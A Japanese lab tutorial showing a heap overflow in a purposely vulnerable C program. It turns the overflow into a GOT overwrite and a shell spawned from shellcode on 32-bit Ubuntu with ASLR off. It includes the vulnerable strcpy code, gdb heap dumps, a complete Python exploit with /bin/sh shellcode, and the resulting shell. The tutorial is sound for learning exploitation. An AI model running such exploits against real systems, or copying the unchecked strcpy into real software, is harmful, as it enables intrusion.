ヒープオーバーフローによるGOT overwriteをやってみる

プログラムの実行時にデータが置かれる場所にはスタックとヒープがあり、スタックと同様ヒープについてもバッファオーバーフローが起こりうる。 ヒープ領域で起こるバッファオーバーフローは、Heap-based buffer overflowあるいはHeap overflowと呼ばれる。 ここでは、ヒープオーバーフローを利用したGOTアドレスの書き換えを行い、シェルコードを経由したシェル起動をやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

ヒープ領域にバッファを確保する構造体を利用した、次のようなプログラムを書いてみる。

/* www.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct Box {
    int size;
    char *buf;
};

struct Box *create_box(int size)
{
    struct Box *box;
    box = malloc(sizeof(struct Box));
    box->size = size;
    box->buf = malloc(size);
    return box;
}

void free_box(struct Box *box)
{
    free(box->buf);
    free(box);
}

int main(int argc, char *argv[])
{
    int size;
    struct Box *box1, *box2;

    size = atoi(argv[1]);
    box1 = create_box(size);
    box2 = create_box(size);
    printf("[+] box1->buf = %p\n", box1->buf);
    printf("[+] box2->buf = %p\n", box2->buf);

    strcpy(box1->buf, argv[2]);
    strcpy(box2->buf, argv[3]);
    puts(box1->buf);
    puts(box2->buf);

    free_box(box2);
    free_box(box1);

    return 0;
}

Box構造体自体は一つ一つ異なるバッファサイズを指定できるようになっているが、上のコードでは話を簡単にするため2個とも同じサイズとしている。 strcpy関数を使っていることからわかるように、このプログラムにはヒープバッファオーバーフロー脆弱性がある。

ASLR、DEP無効、SSP有効でコンパイル・実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gcc -z execstack www.c

$ ./a.out 100 AAAA BBBB
[+] box1->buf = 0x804b018
[+] box2->buf = 0x804b090
AAAA
BBBB

与える文字列が指定したバッファサイズ内であれば、正しく動作していることが確認できる。

ヒープ領域の状態を確認してみる

gdbを使い、実行時のヒープ領域の状態を調べてみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/www/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   ...
   0x08048597 <+109>:   mov    eax,DWORD PTR [ebp+0xc]
   0x0804859a <+112>:   add    eax,0x8
   0x0804859d <+115>:   mov    eax,DWORD PTR [eax]
   0x0804859f <+117>:   mov    edx,eax
   0x080485a1 <+119>:   mov    eax,DWORD PTR [esp+0x18]
   0x080485a5 <+123>:   mov    eax,DWORD PTR [eax+0x4]
   0x080485a8 <+126>:   mov    DWORD PTR [esp+0x4],edx
   0x080485ac <+130>:   mov    DWORD PTR [esp],eax
   0x080485af <+133>:   call   0x80483c0 <strcpy@plt>
   0x080485b4 <+138>:   mov    eax,DWORD PTR [ebp+0xc]
   0x080485b7 <+141>:   add    eax,0xc
   0x080485ba <+144>:   mov    eax,DWORD PTR [eax]
   0x080485bc <+146>:   mov    edx,eax
   0x080485be <+148>:   mov    eax,DWORD PTR [esp+0x1c]
   0x080485c2 <+152>:   mov    eax,DWORD PTR [eax+0x4]
   0x080485c5 <+155>:   mov    DWORD PTR [esp+0x4],edx
   0x080485c9 <+159>:   mov    DWORD PTR [esp],eax
   0x080485cc <+162>:   call   0x80483c0 <strcpy@plt>
   0x080485d1 <+167>:   mov    eax,DWORD PTR [esp+0x18]
   ...
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) b *main+167
Breakpoint 1 at 0x80485d1
(gdb) run 100 AAAA BBBB
Starting program: /home/user/tmp/www/a.out 100 AAAA BBBB
[+] box1->buf = 0x804b018
[+] box2->buf = 0x804b090

Breakpoint 1, 0x080485d1 in main ()
(gdb) i proc map
process 21667
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0 /home/user/tmp/www/a.out
         0x8049000  0x804a000     0x1000        0x0 /home/user/tmp/www/a.out
         0x804a000  0x804b000     0x1000     0x1000 /home/user/tmp/www/a.out
         0x804b000  0x806c000    0x21000        0x0 [heap]
        0xb7e2b000 0xb7e2c000     0x1000        0x0
        0xb7e2c000 0xb7fd0000   0x1a4000        0x0 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fd0000 0xb7fd2000     0x2000   0x1a4000 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fd2000 0xb7fd3000     0x1000   0x1a6000 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fd3000 0xb7fd6000     0x3000        0x0
        0xb7fdb000 0xb7fde000     0x3000        0x0
        0xb7fde000 0xb7ffe000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.15.so
        0xb7ffe000 0xb7fff000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.15.so
        0xb7fff000 0xb8000000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.15.so
        0xbffdf000 0xc0000000    0x21000        0x0 [stack]
(gdb) x/100wx 0x804b000
0x804b000:      0x00000000      0x00000011      0x00000064      0x0804b018
0x804b010:      0x00000000      0x00000069      0x41414141      0x00000000
0x804b020:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b030:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b050:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b070:      0x00000000      0x00000000      0x00000000      0x00000011
0x804b080:      0x00000064      0x0804b090      0x00000000      0x00000069
0x804b090:      0x42424242      0x00000000      0x00000000      0x00000000
0x804b0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0d0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0e0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0f0:      0x00000000      0x00020f11      0x00000000      0x00000000
...
(gdb) quit
A debugging session is active.

        Inferior 1 [process 21667] will be killed.

Quit anyway? (y or n) y

上の例では、strcpy関数を2回呼び終わった後のヒープ領域の状態を表示させている。 このときのヒープ領域の状態を整理すると、次のようになっている。

0x804b000:
      0x00000000
      0x00000011
      0x00000064 (buf1->size)
      0x0804b018 (buf1->buf)
0x804b010:
      0x00000000
      0x00000069
0x804b018:
      0x41414141 (*(buf1->buf))
      ...
      0x00000000
0x804b07c:
      0x00000011
      0x00000064 (buf2->size)
      0x0804b090 (buf2->buf)
0x804b088:
      0x00000000
      0x00000069
0x804b090:
      0x42424242 (*(buf2->buf))
      ...
      0x00000000
0x804b0f4:
      0x00020f11
      0x00000000
      ...

上から、*(buf1->buf)の書き込みがオーバーフローすると、buf2->bufに入っているポインタの上書きが可能であることがわかる。 そしてbuf2->bufが書き換えられたとき、2回目のstrcpy関数が呼び出される際に上書きされたポインタが指す領域にデータが書き込まれることになる。 すなわち、任意のメモリアドレスの値が書き換え可能になる。 このような状態は、Write-what-where Conditionと呼ばれる。

エクスプロイトコードを書いてみる

上で説明したWrite-what-where conditionを利用してputs関数のGOT overwriteを行い、ヒープ領域に置いたシェルコードにジャンプするエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen

size = int(sys.argv[1])
addr_buf1 = int(sys.argv[2], 16)

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

addr_got_puts = 0x804a010  # objdump -d -j.plt a.out

buf1 = shellcode
buf1 += 'A' * (size - len(buf1))
buf1 += 'AAAA' * 2
buf1 += struct.pack('<I', addr_got_puts)

buf2 = struct.pack('<I', addr_buf1)

with open('buf1', 'wb') as f:
    f.write(buf1)
with open('buf2', 'wb') as f:
    f.write(buf2)

p = Popen(['./a.out', str(size), buf1, buf2])
p.wait()

このコードは、二つのBoxが確保するバッファのサイズ、box1->bufに入っているポインタが指すアドレスを順に引数に取る。

box1->bufが指すアドレスを引数にセットして実行してみる。

$ python exploit.py 100 0x804b018
[+] box1->buf = 0x804b018
[+] box2->buf = 0x804b090
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

ヒープオーバーフローによって発生したWrite-what-where conditionを利用しGOT overwriteを行うことにより、シェルコードを経由したシェル起動に成功していることが確認できた。

関連リンク